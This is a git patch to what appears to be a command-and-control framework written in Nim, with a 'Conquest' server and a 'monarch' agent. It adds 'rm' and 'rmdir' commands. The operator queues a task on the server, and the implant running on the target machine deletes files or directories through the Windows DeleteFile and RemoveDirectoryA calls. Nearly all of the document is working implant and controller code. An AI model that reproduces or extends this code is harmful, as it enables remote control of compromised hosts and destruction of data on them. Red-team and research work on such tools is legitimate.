From 4a5f3baaa42c5522ab8edd6895ba5c820b3254f1 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Tue, 8 Jul 2025 21:09:50 +0200 Subject: [PATCH] Implemented 'rm' and 'rmdir' commands --- agents/monarch/commands/filesystem.nim | 52 ++++++++++++++++++++++++++ agents/monarch/task.nim | 10 +++++ server/agent/commands/filesystem.nim | 33 ++++++++++++++++ server/agent/interact.nim | 14 +++++++ server/types.nim | 2 + 5 files changed, 111 insertions(+) diff --git a/agents/monarch/commands/filesystem.nim b/agents/monarch/commands/filesystem.nim index 5e4c94f..5e399c3 100644 --- a/agents/monarch/commands/filesystem.nim +++ b/agents/monarch/commands/filesystem.nim @@ -203,6 +203,58 @@ proc taskDir*(task: Task): TaskResult = status: Completed ) + except CatchableError as err: + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(fmt"An error occured: {err.msg}" & "\n"), + status: Failed + ) + +# Remove file +proc taskRm*(task: Task): TaskResult = + + let target = task.args.join(" ").replace("\"", "").replace("'", "") + echo fmt"Deleting {target}." + + try: + # Get current working directory using GetCurrentDirectory + if DeleteFile(target) == FALSE: + raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).") + + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(""), + status: Completed + ) + + except CatchableError as err: + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(fmt"An error occured: {err.msg}" & "\n"), + status: Failed + ) + +# Remove directory +proc taskRmdir*(task: Task): TaskResult = + + let target = task.args.join(" ").replace("\"", "").replace("'", "") + echo fmt"Deleting {target}." + + try: + # Get current working directory using GetCurrentDirectory + if RemoveDirectoryA(target) == FALSE: + raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).") + + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(""), + status: Completed + ) + except CatchableError as err: return TaskResult( task: task.id, diff --git a/agents/monarch/task.nim b/agents/monarch/task.nim index 61c832c..52b098b 100644 --- a/agents/monarch/task.nim +++ b/agents/monarch/task.nim @@ -38,6 +38,16 @@ proc handleTask*(task: Task, config: AgentConfig): TaskResult = echo taskResult.data return taskResult + of RemoveFile: + let taskResult = taskRm(task) + echo taskResult.data + return taskResult + + of RemoveDirectory: + let taskResult = taskRmdir(task) + echo taskResult.data + return taskResult + else: echo "Not implemented" return nil \ No newline at end of file diff --git a/server/agent/commands/filesystem.nim b/server/agent/commands/filesystem.nim index d8e62ea..6831f07 100644 --- a/server/agent/commands/filesystem.nim +++ b/server/agent/commands/filesystem.nim @@ -52,3 +52,36 @@ proc taskListDirectory*(cq: Conquest, arguments: seq[string]) = cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to list files and directories.") +proc taskRemoveFile*(cq: Conquest, arguments: seq[string]) = + + # Create a new task + let + date: string = now().format("dd-MM-yyyy HH:mm:ss") + task = Task( + id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), + agent: cq.interactAgent.name, + command: RemoveFile, + args: arguments, + ) + + # Add new task to the agent's task queue + cq.interactAgent.tasks.add(task) + + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to remove file.") + +proc taskRemoveDirectory*(cq: Conquest, arguments: seq[string]) = + + # Create a new task + let + date: string = now().format("dd-MM-yyyy HH:mm:ss") + task = Task( + id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), + agent: cq.interactAgent.name, + command: RemoveDirectory, + args: arguments, + ) + + # Add new task to the agent's task queue + cq.interactAgent.tasks.add(task) + + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to remove directory.") diff --git a/server/agent/interact.nim b/server/agent/interact.nim index a5bd42e..e757d0b 100644 --- a/server/agent/interact.nim +++ b/server/agent/interact.nim @@ -31,6 +31,14 @@ var parser = newParser: help("List files and directories.") arg("directory", help="Relative or absolute path. Default: current working directory.", nargs = -1) + command("rm"): + help("Remove file.") + arg("file", help="Relative or absolute path to the file to delete.", nargs = -1) + + command("rmdir"): + help("Remove directory.") + arg("directory", help="Relative or absolute path to the directory to delete.", nargs = -1) + command("help"): nohelpflag() @@ -78,6 +86,12 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) = of "ls": cq.taskListDirectory(opts.ls.get.directory) + of "rm": + cq.taskRemoveFile(opts.rm.get.file) + + of "rmdir": + cq.taskRemoveDirectory(opts.rmdir.get.directory) + # Handle help flag except ShortCircuit as err: if err.flag == "argparse_help": diff --git a/server/types.nim b/server/types.nim index 238d219..7152434 100644 --- a/server/types.nim +++ b/server/types.nim @@ -18,6 +18,8 @@ type GetWorkingDirectory = "pwd" SetWorkingDirectory = "cd" ListDirectory = "ls" + RemoveFile = "rm" + RemoveDirectory = "rmdir" TaskStatus* = enum Completed = "completed"